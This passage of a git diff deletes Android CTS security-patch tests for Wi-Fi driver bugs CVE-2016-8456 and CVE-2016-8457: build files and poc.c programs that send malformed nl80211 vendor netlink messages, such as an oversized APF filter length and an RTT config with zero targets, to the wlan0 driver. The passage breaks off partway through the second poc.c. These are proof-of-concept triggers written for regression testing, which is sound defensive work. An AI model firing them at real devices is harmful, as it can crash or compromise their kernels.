- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define APF_ATTRIBUTE_PROGRAM_LEN 3
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- struct nlattr *rret3;
- struct nlattr *rret4;
- unsigned char buf_test[256];
-
- int i = 0;
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
- unsigned char SSID11[DOT11_MAX_SSID_LEN];
- struct nl80211_sta_flag_update flags;
-
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
deleted file mode 100644
index 75688b5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
deleted file mode 100644
index 9367c45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
+++ /dev/null
@@ -1,313 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- unsigned char oper_classes[253];
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-
- struct nl80211_sta_flag_update flags;
-
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
-
- rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
-
- if (!rret2) {
- return 1;
- }
-
- nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
-
- nla_nest_end(msg, rret2);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
deleted file mode 100644
index 3ec6a31..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
deleted file mode 100644
index 9a9f02b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
